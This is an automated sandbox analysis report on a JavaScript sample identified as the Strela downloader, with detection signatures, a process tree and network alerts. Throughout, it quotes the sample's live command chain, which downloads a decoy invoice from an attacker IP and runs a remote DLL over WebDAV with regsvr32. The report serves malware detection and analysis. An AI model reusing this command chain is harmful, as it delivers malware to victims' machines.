Edit tour

Windows Analysis Report
2808316613110627987.js

Overview

General Information

Sample name:	2808316613110627987.js
Analysis ID:	1587850
MD5:	09939636edb0af1dd3b784d00f157335
SHA1:	ce1bb619950128db073a1c83b8a6a4190da385a7
SHA256:	55946382730f843aa0de996b44a01be1466255e6743b535b5591d17c06815d8d
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 508 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6800 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5092 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1648 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7376 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1764,i,5740791908415637487,12243783772582126901,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2020 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6700 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7236 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 508	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6800, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5092, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6800, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5092, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", ProcessId: 508, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6700, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49703

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 6800, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 6800, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 6800, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 6800, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 6800, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 6800, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", ProcessId: 508, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6800, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5092, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2020, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6700, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7236, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2020, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6700, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 6800, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:35:27.650765+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49703	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:35:25.281276+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49702	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2808316613110627987.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2808316613110627987.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49703 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:35:25 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 